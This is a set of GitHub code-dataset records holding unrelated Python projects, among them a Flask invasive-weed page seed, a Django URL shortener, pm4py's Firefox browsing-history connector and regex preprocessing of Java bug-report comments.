image_url=\"https://images.unsplash.com/photo-1631163468569-b5265125d578?ixlib=rb-1.2.1\"\\\n \"&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1470&q=80\",\n title=\"Weed of the Week\",\n subtitle=\"These invasives have to go!\",\n announcement=None\n )\n db.session.add(page_header)\n\n weed1 = Weed(\n scientific_name=\"Leucanthemum vulgare\",\n description=\"This plant has the typical daisy appearance with white petals and a yellow center. It grows \"\n \"to a height of 1 to 3 feet.\",\n removal_method=\"Pull the plant out by the roots. This \"\n \"plant has a shallow root system, so you usually can pull out \"\n \"all of the roots. However, it spreads by rhizomes, so some of the rhizomes may snap \"\n \"when you pull the plant out of the ground. You may have more luck pulling out more \"\n \"roots when the soil is moist \"\n \"after a rain. When you pull the plant, make sure you put \"\n \"the entire plant in a yard waste bag and remove the bag from the premises.\",\n comments=\"This is a perennial from Eurasia. It is highly invasive and is regulated as an invasive \"\n \"species in 13 states. Each flower can produce up to 200 seeds.\",\n location_desc=\"Along the western edge of the ditch on the northern part of the property. Also, there \"\n \"are some isolated plants at the south end of the ditch.\",\n location_map=\"images/OxeyeDaisy-20220313.png\",\n display_order=1\n )\n oxeye_daisy = WeedCommonName(\n common_name=\"oxeye daisy\",\n is_primary=True\n )\n weed1.weed_common_names.append(oxeye_daisy)\n\n ox_eye_daisy = WeedCommonName(\n common_name=\"ox-eye daisy\",\n is_primary=False\n )\n weed1.weed_common_names.append(ox_eye_daisy)\n\n dog_daisy = WeedCommonName(\n common_name=\"dog daisy\",\n is_primary=False\n )\n weed1.weed_common_names.append(dog_daisy)\n\n marguerite = WeedCommonName(\n common_name=\"marguerite\",\n is_primary=False\n )\n weed1.weed_common_names.append(marguerite)\n\n bull_daisy = WeedCommonName(\n common_name=\"bull daisy\",\n is_primary=False\n )\n weed1.weed_common_names.append(bull_daisy)\n\n button_daisy = WeedCommonName(\n common_name=\"button daisy\",\n is_primary=False\n )\n weed1.weed_common_names.append(button_daisy)\n\n field_daisy = WeedCommonName(\n common_name=\"field daisy\",\n is_primary=False\n )\n weed1.weed_common_names.append(field_daisy)\n\n photo3 = WeedPhoto(\n photo_url=\"images/OxeyeDaisy-2.jpg\",\n caption=\"Oxeye daisy stem has very small leaves\",\n display_order=2\n )\n weed1.weed_photos.append(photo3)\n\n photo4 = WeedPhoto(\n photo_url=\"images/OxeyeDaisy-1.jpg\",\n caption=\"The classic daisy look\",\n display_order=1\n )\n weed1.weed_photos.append(photo4)\n\n db.session.add(weed1)\n db.session.commit()\n\n return render_template(\"index.html\")\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"mikec74/WeedMaint","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2760197737","text":"WIDTH, HEIGHT = 1024, 768\nFPS = 100\n\nCHARACTER_WIDTH, CHARACTER_HEIGHT = 32, 64\nCHARACTER_DEFAULT_SPEED = 10\n\nPLAYER_XRPX, PLAYER_YRPX = 496, 352\n\nENEMY_IDLE, ENEMY_ACTIVE = 0, 1\n\nNORTH, SOUTH, EAST, WEST = 0, 1, 2, 3\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\n","repo_name":"KevDevPython/EscapeGame","sub_path":"consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5413038162","text":"import os\nimport sys\nfrom shutil import copyfile\nimport util\nimport glob\n\npwd = util.sp_address_extension(os.getcwd()) \nname = sys.argv[1]\ncat = sys.argv[2]\nmodi = pwd +'/temp/' + cat + '_' + name.split(\".\")[0] + '_temp.png'\nread = pwd + '/' + 'read.py'\n\nif (os.path.isfile(pwd + '/data/' + cat + '_' + name.split(\"/\")[-1].split(\".\")[0] + '_temp_learn.csv')): # wait until learn.csv return, if 方便调试\n os.system(\"python %s\" %(read + ' ' + modi + ' ' + cat))\nfor file in glob.glob(pwd + '/temp/*'):\n os.remove(file)\nfor file in glob.glob(pwd + '/roughdata/*_rough.csv'):\n os.remove(file)\nfor file in glob.glob(pwd + '/roughdata/*_rough.json'):\n os.remove(file)","repo_name":"ZhaokuanChen/ZhaokuanChen-CSDS395-Team-1-Rapid-Wiki-Generation-System","sub_path":"back/backend/sp/getdata_continue.py","file_name":"getdata_continue.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23954183278","text":"'''\nCreated on Nov 22, 2017\n\n@author: martin\n'''\n\nimport pandas as pd\nfrom TGaussianNB import TGaussianNB\n\ndef main():\n data= pd.read_csv(\"../data/forestfires.csv\")\n \n data['fire']= data['area'] > 0\n\n # Features to be used in classification\n features= ['X', 'Y', 'FFMC', 'DMC', 'DC', 'ISI', 'temp', 'RH', 'wind', 'rain']\n \n X= data[features]\n y= data['fire'].astype(int)\n \n h= TGaussianNB(X, y)\n h.run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"CatLassie/MLex1","sub_path":"Proj1/run_fire.py","file_name":"run_fire.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20505942123","text":"from typing import List, Union\nimport kachery_client as kc\nimport figurl as fig\n\ndef figurl_average_waveforms(*,\n recording_id: str,\n sorting_id: str,\n workspace_uri: str,\n unit_ids: List[int],\n selected_unit_ids: Union[fig.Sync, None]=None\n ):\n \"\"\"\n Generate a sortingview url that shows the average waveforms page\n \"\"\"\n data = {\n 'workspaceUri': workspace_uri,\n 'recordingId': recording_id,\n 'sortingId': sorting_id,\n 'unitIds': unit_ids\n }\n if selected_unit_ids is not None:\n data['selectedUnitIds'] = selected_unit_ids\n return fig.Figure(type='sortingview.average-waveforms.1', data=data)\n\nsync_selected_unit_ids_1 = fig.Sync()\n\nF1 = figurl_average_waveforms(\n recording_id='R-fa746904d460',\n sorting_id='S-83c498c391ed',\n workspace_uri='workspace://acf9d87b54e5daefbf1a6797bdaf5e1faee4834372e6704bdfdd78ed34353ca3',\n unit_ids=[1, 2, 3, 4],\n selected_unit_ids=sync_selected_unit_ids_1\n)\nF2 = figurl_average_waveforms(\n recording_id='R-fa746904d460',\n sorting_id='S-83c498c391ed',\n workspace_uri='workspace://acf9d87b54e5daefbf1a6797bdaf5e1faee4834372e6704bdfdd78ed34353ca3',\n unit_ids=[1, 2, 3, 4],\n selected_unit_ids=sync_selected_unit_ids_1\n)\n\nF = fig.BoxLayout([F1, F2])\nurl = F.url(label='sync')\n\nprint(url)\n","repo_name":"LorenFrankLab/sortingview_old","sub_path":"devel/figurl_sync.py","file_name":"figurl_sync.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"72878063948","text":"import openpyxl as xl\n\ndef search(match, data):\n match = str(match).lower()\n for i in range(len(data)):\n r = str(data[i][0].value).lower()\n print(r)\n if(r.find(str(match).lower()) != -1):\n return True\n else:\n return False\n\nwb = xl.load_workbook('combined.xlsx')\noscar = wb.get_sheet_by_name('Oscar')\nuc3m = wb.get_sheet_by_name('UC3M')\ntrans_num = oscar['A1':'A{0}'.format(oscar.max_row)]\ntrans_name = oscar['B1':'B{0}'.format(oscar.max_row)]\ncolor1 = xl.styles.colors.Color(rgb='00FF0000')\ncolor2 = xl.styles.colors.Color(rgb='0023FF00')\nfill1= xl.styles.fills.PatternFill(patternType='solid', fgColor=color1)\nfill2 = xl.styles.fills.PatternFill(patternType='solid', fgColor=color2)\n\ncount1 = 0\ncount2 = 0\nfor i in range(uc3m.max_row):\n course_num = uc3m.cell(row=i+1, column=1)\n course_name = uc3m.cell(row=i+1, column=2)\n print(course_name)\n if(search(course_num.value, trans_num)):\n course_num.fill = fill1\n count1+=1\n if(search(course_name.value, trans_name)):\n course_name.fill = fill2\n count2+=1\nwb.save('combined.xlsx')\nprint(count1)\nprint(count2)\n","repo_name":"caiyzik/classy","sub_path":"web_scraping/combine_sheets.py","file_name":"combine_sheets.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2955836147","text":"from itertools import count\nimport sys\n\n\ndef change(row, col, mapp): # c를다시 0으로 바꾸기\n for i in range(row):\n for j in range(col):\n if(mapp[i][j] == 'c'):\n mapp[i][j] = 0\n # for i in range(row):\n # for j in range(col):\n # print(mapp[i][j], end=\" \")\n # print()\n\n\ndef bfs(x, y, col, row, mapp, visited): # 바깥 치즈 찾기(c)\n count = 0\n q = []\n q.append((x, y))\n gox = [0, 1, 0, -1]\n goy = [1, 0, -1, 0]\n while q:\n cx, cy = q.pop(0)\n visited[cx][cy] = True\n for _ in range(4):\n nx = cx + gox[_]\n ny = cy + goy[_]\n if(0 <= nx < row and 0 <= ny < col):\n\n if mapp[nx][ny] == 1:\n mapp[nx][ny] = 'c'\n count += 1\n elif(mapp[nx][ny] == 0 and not visited[nx][ny]):\n q.append((nx, ny))\n visited[nx][ny] = True\n return count\n\n\nrow, col = map(int, sys.stdin.readline().split())\nmapp = []\nfor _ in range(row):\n temp = list(map(int, sys.stdin.readline().split()))\n mapp.append(temp)\ncnt = 0\ncheese = 0\nwhile True:\n visited = [[False] * col for i in range(row)]\n temp = bfs(0, 0, col, row, mapp, visited)\n change(row, col, mapp)\n cnt += 1\n if(temp == 0):\n print(cnt-1)\n print(cheese)\n\n break\n cheese = temp\n","repo_name":"NuhGnod/Baekjoon","sub_path":"src/B_2636py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72226673867","text":"import os, sys\nproject_dir = os.getcwd()\nsys.path.append(project_dir)\n\nimport logging\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nfrom sklearn.model_selection import train_test_split, StratifiedShuffleSplit\nfrom src.data.read_data import raw_data\n\nraw_path = os.path.join(os.getcwd(), 'data/raw/test.csv')\noutput_path = os.path.join(os.getcwd(), 'data/interim/')\noutput_files = [\"X_train.csv\", \"X_valid.csv\", \"y_train.csv\", \"y_valid.csv\"]\nraw_data = raw_data()\n\ndef split(self):\n \"\"\"\"\"\"\n\n bins=[raw_data['SalePrice'].min()-1, raw_data['SalePrice'].quantile(0.25), raw_data['SalePrice'].quantile(0.5), raw_data['SalePrice'].quantile(0.75), raw_data['SalePrice'].max()]\n raw_data[\"price_cat\"] = pd.cut(raw_data[\"SalePrice\"], bins=bins, labels=[0, 1, 2, 3])\n train, valid = train_test_split(raw_data, test_size=0.2, stratify=raw_data['price_cat'], random_state=0)\n\n train.drop(columns=['price_cat'], axis=1, inplace=True)\n valid.drop(columns=['price_cat'], axis=1, inplace=True)\n\n X_train = train[ [col for col in train.columns if col != 'SalePrice'] ]\n y_train = train['SalePrice']\n X_valid = valid[ [col for col in valid.columns if col != 'SalePrice'] ]\n y_valid = valid['SalePrice']\n\n pd.DataFrame.to_csv(X_train, os.path.join(output_path,'X_train.csv'), index=True)\n pd.DataFrame.to_csv(X_valid, os.path.join(output_path,'X_valid.csv'), index=True)\n pd.DataFrame.to_csv(y_train, os.path.join(output_path,'y_train.csv'), index=True)\n pd.DataFrame.to_csv(y_valid, os.path.join(output_path,'y_valid.csv'), index=True)\n\n\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"hanzale/kaggle_home_prices","sub_path":"src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22343201364","text":"'''\n This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).\n\n PM4Py is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n PM4Py is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with PM4Py. If not, see .\n'''\n\nimport os\nimport sqlite3\nfrom datetime import datetime\nimport pandas as pd\nfrom enum import Enum\nfrom typing import Optional, Dict, Any\nfrom pm4py.util import exec_utils\n\n\nclass Parameters(Enum):\n HISTORY_DB_PATH = \"history_db_path\"\n\n\ndef apply(parameters: Optional[Dict[Any, str]] = None) -> pd.DataFrame:\n \"\"\"\n Extracts a dataframe containing the navigation history of Mozilla Firefox.\n Please keep Google Mozilla Firefox closed when extracting.\n\n CASE ID (case:concept:name) => an identifier of the profile that has been extracted\n ACTIVITY (concept:name) => the complete path of the website, minus the GET arguments\n TIMESTAMP (time:timestamp) => the timestamp of visit\n\n Parameters\n --------------\n Parameters.HISTORY_DB_PATH\n Path to the history DB path of Mozilla Firefox (default: position of the Windows folder)\n\n Returns\n --------------\n dataframe\n Pandas dataframe\n \"\"\"\n if parameters is None:\n parameters = {}\n\n history_db_path = exec_utils.get_param_value(Parameters.HISTORY_DB_PATH, parameters, \"C:\\\\Users\\\\\" + os.getenv(\n 'USERNAME') + \"\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\")\n print(history_db_path)\n\n if os.path.isdir(history_db_path):\n profiles = [(os.path.join(history_db_path, x, \"places.sqlite\"), x) for x in os.listdir(history_db_path)]\n else:\n profiles = [(history_db_path, \"DEFAULT\")]\n\n profiles = [x for x in profiles if os.path.exists(x[0])]\n\n events = []\n for prof in profiles:\n if os.path.exists(prof[0]):\n conn = sqlite3.connect(prof[0])\n curs = conn.cursor()\n curs.execute(\n \"SELECT b.url, a.visit_date FROM (SELECT id, visit_date FROM moz_historyvisits) a JOIN (SELECT id, url FROM moz_places) b ON a.id = b.id\")\n res = curs.fetchall()\n for r in res:\n ev = {\"case:concept:name\": prof[1], \"concept:name\": r[0].split(\"//\")[-1].split(\"?\")[0].replace(\",\", \"\"), \"complete_url\": r[0],\n \"domain\": r[0].split(\"//\")[-1].split(\"/\")[0], \"url_wo_parameters\": r[0].split(\"//\")[-1].split(\"?\")[0],\n \"time:timestamp\": datetime.fromtimestamp(r[1]/10**6)}\n if len(ev[\"case:concept:name\"].strip()) > 0 and len(ev[\"concept:name\"].strip()) > 0:\n events.append(ev)\n curs.close()\n conn.close()\n\n dataframe = pd.DataFrame(events)\n if len(dataframe) > 0:\n dataframe[\"@@index\"] = dataframe.index\n dataframe = dataframe.sort_values([\"time:timestamp\", \"@@index\"])\n dataframe[\"@@case_index\"] = dataframe.groupby(\"case:concept:name\", sort=False).ngroup()\n dataframe = dataframe.sort_values([\"@@case_index\", \"time:timestamp\", \"@@index\"])\n return dataframe\n","repo_name":"pm4py/pm4py-core","sub_path":"pm4py/algo/connectors/variants/firefox_history.py","file_name":"firefox_history.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":604,"dataset":"github-code","pt":"82"} +{"seq_id":"2632702411","text":"env = DefaultEnvironment(CXXFLAGS='--std=gnu++11', CCFLAGS='-Wall', LIBPATH='/usr/local/cuda-7.5/targets/x86_64-linux/lib')\nenv.Tool('nvcc')\nenv.Append(NVCCFLAGS='-std=c++11 -arch=sm_30 --resource-usage --expt-extended-lambda')\nenv.Append(RPATH='/usr/local/cuda-7.5/targets/x86_64-linux/lib')\ntestobj = env.Object(target='test.o', source='test.cu')\nflatobj = env.Object(target='flat.o', source='flat.cu')\nkerrobj = env.Object(target='doran.o', source='doran.cu')\nimageobj = env.Object(target='image.o', source='image.cu')\ntest = env.Program(target='test', source=['test.o'], LINK='g++', LIBS=['cudart'])\nflat = env.Program(target='flat', source=['flat.o', 'image.o'], LINK='g++', LIBS=['cudart', 'png12'])\ndoran = env.Program(target='doran', source=['doran.o', 'image.o'], LINK='g++', LIBS=['cudart', 'png12'])\ntestoutput = env.Command(target=\"test.txt\", source=\"./test\", action = \"./test | tee $TARGET\")\nDepends(testoutput, test)\nAlwaysBuild(testoutput)\n","repo_name":"muphrid15/tetra-gray","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"15876059302","text":"from django.shortcuts import redirect\nfrom reducer.models import URLs, Domain\nfrom rest_framework import status, serializers\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom utils.user_uuid_handler import user_uuid_handler\nfrom reducer.serializers import URLsSerializer, URLsDBSerializer\nfrom reducer.utils import get_urls_cache_generator, short_url_generator\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\"\"\" Init cache access \"\"\"\ncashed_urls = get_urls_cache_generator()\ntry:\n cashed_urls.send(None)\nexcept StopIteration:\n cashed_urls = None\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny, ])\ndef set_url(request):\n user = user_uuid_handler(request)\n\n serializer = URLsSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n err = serializer.errors\n\n if err:\n return Response(err, status=status.HTTP_400_BAD_REQUEST)\n\n data = serializer.data\n\n response = Response()\n response.set_cookie('dp_test_user_id', user.user_uuid, max_age=999999999)\n\n if serializer.is_valid():\n\n generated_url = short_url_generator(url=data.get('url'))\n\n url_destination = data.get('url_destination')\n\n try:\n domain = Domain.objects.get(pk=data.get('domain'))\n except Domain.DoesNotExist:\n response.status_code = status.HTTP_400_BAD_REQUEST\n return response\n\n if generated_url:\n new_url = URLs(user_uuid=user,\n url=generated_url,\n domain=domain,\n url_destination=url_destination)\n new_url.save()\n\n if cashed_urls:\n cashed_urls.send((generated_url, url_destination))\n cashed_urls.send(())\n\n response.status_code = status.HTTP_200_OK\n response.data = {'res': 'url_created',\n 'url': f'{domain.domain}/{generated_url}'}\n\n logger.info(f'Add new url -> {domain.domain}/{generated_url}')\n\n return response\n\n else:\n response.status_code = status.HTTP_400_BAD_REQUEST\n response.data = {'res': 'url_already_exists'}\n\n return response\n\n\nclass NotFoundError:\n pass\n\n\nclass CustomPaginator(PageNumberPagination):\n page_size = 10\n\n def generate_response(self, query_set, serializer_obj, request):\n try:\n page_data = self.paginate_queryset(query_set, request)\n except NotFoundError:\n return Response({\"error\": \"No results found for the requested page\"},\n status=status.HTTP_400_BAD_REQUEST)\n\n serialized_page = serializer_obj(page_data, many=True)\n return self.get_paginated_response(serialized_page.data)\n\n\nclass UrlList(APIView):\n def get(self, request, page_num, format=None):\n user = user_uuid_handler(request)\n\n urls = list(URLs.objects.select_related('domain').filter(user_uuid=user))\n paginator = CustomPaginator()\n response = paginator.generate_response(urls, URLsDBSerializer, request)\n return response\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny, ])\ndef get_domains(request):\n domains = list(Domain.objects.all())\n res = []\n for domain in domains:\n res.append({'id': domain.id, 'domain': domain.domain})\n\n return Response(res, status=status.HTTP_200_OK)\n\n\n@api_view(['DELETE'])\n@permission_classes([AllowAny, ])\ndef delete_url(request, url_id):\n user = user_uuid_handler(request)\n URLs.objects.filter(pk=url_id, user_uuid=user).delete()\n response = Response(status=status.HTTP_200_OK)\n response.set_cookie('dp_test_user_id', user.user_uuid, max_age=999999999)\n return response\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny, ])\ndef redirect_url(request, domain, domain_subpart):\n try:\n if cashed_urls:\n url = cashed_urls.send((domain_subpart, None))\n\n else:\n domain = Domain.objects.get(domain=domain)\n url_destination = URLs.objects.get(domain=domain, url=domain_subpart)\n url = url_destination.url_destination\n\n return redirect(f'https://{url}')\n\n except URLs.DoesNotExist:\n logger.error('Unknown URL')\n return Response({'reason': 'URL NOT FOUND',\n 'source': f'{domain}/{domain_subpart}'},\n status=status.HTTP_404_NOT_FOUND)\n","repo_name":"Agenirider/dp_url_reducer","sub_path":"url_reducer/reducer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18425657447","text":"# -*- coding: utf-8 -*-\n#\n# author: Amanul Haque\n#\n# File Description: This code does data-preprocessing specific to JAVA2015 dataset.\n# like detecting code blocks, comment lines, error message etc, and replace them with custom tags for uniformity across the dataset\n\nimport sys\nimport re\nimport csv\nimport pandas as pd\nimport numpy as np\n\nclass data_preprocessing_2:\n \n def __init__(self):\n \n self.input_file = 'final_data/processed_output.csv'\n self.output_file = 'final_data/output_experiment.csv'\n \n def detect_website_address(self, string):\n \n pattern = r\"http[s]?:\\/\\/([-\\w]+)([\\.]+\\w+)+(\\/[-\\w]+)*((\\.\\w+)?)\\/?\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('website_address') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_website_address(string)\n \n return string\n \n def detect_assertion_errors(self, string):\n \n pattern = r\"expected[\\s:]?\\s*<(.|[\\r\\n])*?>\\s?but was[\\s:]?\\s*<(.|[\\r\\n])*?>\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('assertion_error') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_assertion_errors(string)\n \n return string\n \n def detect_comments(self, string):\n \n #Pattern to match both single and multiline comments in a java code\n pattern = r\"\\/\\/(.*)|\\/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*+\\/\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('comment_line') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_comments(string)\n \n return string\n \n def detect_sop_statements(self, string):\n \n pattern = r\"System.out.print(ln)?\\(.*\\)\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('sop_statement') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_sop_statements(string)\n \n return string\n \n def detect_file_paths(self, string):\n \n #Pattern for file paths\n pattern = r\"(\\w+\\/)(\\w+\\/)([-\\w\\/])+(\\.\\w+)?\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('file_path') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_file_paths(string)\n \n #Pattern for class path\n pattern = r\"(\\w+\\.)(\\w+\\.)([-\\w\\.])+(\\.\\w+)?\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index], \"\\t\", start_index, \"\\t\", end_index)\n str_list = list(string)\n str_list = str_list[:start_index] + list('file_path') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_file_paths(string)\n \n return string\n \n \n \n def detect_error_messages(self, string):\n \n pattern = r\"(([-\\w_\\$]+)\\.)+(\\w)+(\\([-\\w_\\$\\.\\s]+(:\\d+)\\))+\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index])\n str_list = list(string)\n str_list = str_list[:start_index] + list('error_message') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_error_messages(string)\n \n pattern = r\"(\\w+\\.)+(\\w+(Commands+|Error+|Exception+))\"\n mt = re.search(pattern, string)\n if(mt != None):\n start_index = int(mt.start())\n end_index = int(mt.end())\n \n #print(\"matched string is : \", string[start_index:end_index])\n str_list = list(string)\n str_list = str_list[:start_index] + list('java_error_message') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n \n return self.detect_error_messages(string)\n else:\n return string\n \n def identify_method_declerations(self, string, flag):\n \n pattern = r\"\\w+\\(\"\n #print(\"Current string is : \", string)\n mt = re.search(pattern, string)\n str_list = list(string)\n if(mt != None and flag == 0):\n #print(\"found\")\n #print(\"Match is \", mt)\n \n start_index = int(mt.start())\n end_index = int(mt.end())\n #print(\"start_index :\", start_index)\n #print(\"end_index :\", end_index)\n #print(\"matched string is \", string[start_index:end_index])\n #end_index-=1\n #print(str_list[end_index])\n if(end_index >= len(str_list)):\n #str_list = str_list[:start_index] + list(' ') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n return string\n elif(str_list[end_index-1] == '('):\n string, flag = self.code_parser(start_index, end_index, str_list, \"method_name\", ['(',')'])\n #String ended without any closing brackets\n if(len(string) == 0): \n return string\n else:\n #print(\"returned string is : \", string, \" \\t flag is \", flag )\n string = self.identify_method_declerations(string, flag)\n \n #print(\"String is: \", string)\n return(string)\n \n \n def identify_method_blocks(self, string, flag):\n \n pattern = r\"method_name\\s+\\{\"\n #print(\"Current string is : \", string)\n mt = re.search(pattern, string)\n str_list = list(string)\n if(mt != None and flag == 0):\n #print(\"found\")\n #print(\"Match is \", mt)\n \n start_index = int(mt.start())\n end_index = int(mt.end())\n #print(\"matched string is \", string[start_index:end_index])\n #end_index-=1\n #print(str_list[end_index])\n if(end_index >= len(str_list)):\n #str_list = str_list[:start_index] + list(' ') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n return string\n elif(str_list[end_index-1] == '{'):\n string, flag = self.code_parser(start_index, end_index, str_list, \"method_block\", ['{','}'])\n #String ended without any closing brackets\n if(len(string) == 0): \n return string\n else:\n #print(\"returned string is : \", string, \" \\t flag is \", flag )\n string = self.identify_method_blocks(string, flag)\n \n #print(\"String is: \", string)\n return(string)\n \n def identify_class_blocks_1(self, string, flag):\n \n pattern = r\"(public|private)\\s+(((\\w+\\s*)?)((\\w+\\s*)?)){\"\n #print(\"Current string is : \", string)\n mt = re.search(pattern, string)\n str_list = list(string)\n if(mt != None and flag == 0):\n #print(\"found\")\n #print(\"Match is \", mt)\n \n start_index = int(mt.start())\n end_index = int(mt.end())\n #print(\"matched string is \", string[start_index:end_index])\n #end_index-=1\n #print(str_list[end_index])\n if(end_index >= len(str_list)):\n #str_list = str_list[:start_index] + list(' ') + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n return string\n elif(str_list[end_index-1] == '{'):\n string, flag = self.code_parser(start_index, end_index, str_list, \"class_block\", ['{','}'])\n #String ended without any closing brackets\n if(len(string) == 0): \n return string\n else:\n #print(\"returned string is : \", string, \" \\t flag is \", flag )\n string = self.identify_class_blocks_1(string, flag)\n \n #print(\"String is: \", string)\n return(string)\n \n def identify_class_blocks_2(self, string):\n \n pattern = r\"(public|private)\\s+((\\w+\\s*)?)((\\w+\\s*)?)((\\w+\\s*)?)method_block\"\n #print(\"Current string is : \", string)\n if(re.search(pattern, string) != None):\n string = re.sub(pattern, r'code_block' ,string)\n return self.identify_class_blocks_2(string)\n return string\n \n def code_parser(self, start_index, end_index, str_list, annotation_name, bracket_style):\n \n stack = [bracket_style[0]]\n string = \"\"\n #print(\"end index :\", end_index, \"\\t\", str_list[end_index])\n #print(\"len : \", len(str_list), len(stack))\n while(end_index < len(str_list) and len(stack)>0):\n if(str_list[end_index] == bracket_style[0]):\n stack.append(bracket_style[0])\n elif(str_list[end_index] == bracket_style[1]):\n stack.pop()\n #print(\"Match is :\", str_list[end_index])\n end_index+=1\n #sys.exit()\n \n if(len(stack) == 0 and end_index < len(str_list)):\n str_list = str_list[:start_index] + list(annotation_name) + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n flag = 0\n elif(len(stack) == 0 and end_index == len(str_list)):\n str_list = str_list[:start_index] + list(annotation_name) + str_list[end_index:]\n string = \"\".join(str_list[0:len(str_list)])\n flag = 1\n else:\n string = \"\".join(str_list[0:len(str_list)])\n flag = 2\n return string, flag\n \n \n def identify_code_blocks(self, string):\n \n string = self.identify_method_declerations(string, 0)\n string = self.identify_method_blocks(string, 0)\n string = self.identify_class_blocks_1(string, 0)\n string = self.identify_class_blocks_2(string)\n return string\n \n def process_data(self, X):\n \n processed_comments = []\n for cmt in X:\n #print(row['Content'])\n #print(\"index :\", index)\n #if(index%2 == 0):\n #print(\"index :\", index)\n #print(\"Before Processing \", str(cmt))\n cmt_processed = self.detect_website_address(cmt)\n cmt_processed = self.detect_assertion_errors(cmt_processed)\n cmt_processed = self.detect_sop_statements(cmt_processed)\n cmt_processed = self.detect_comments(cmt_processed)\n cmt_processed = self.detect_error_messages(cmt_processed)\n cmt_processed = self.detect_file_paths(cmt_processed)\n cmt_processed = self.identify_code_blocks(cmt_processed)\n #print(\"\\n\\nAfter 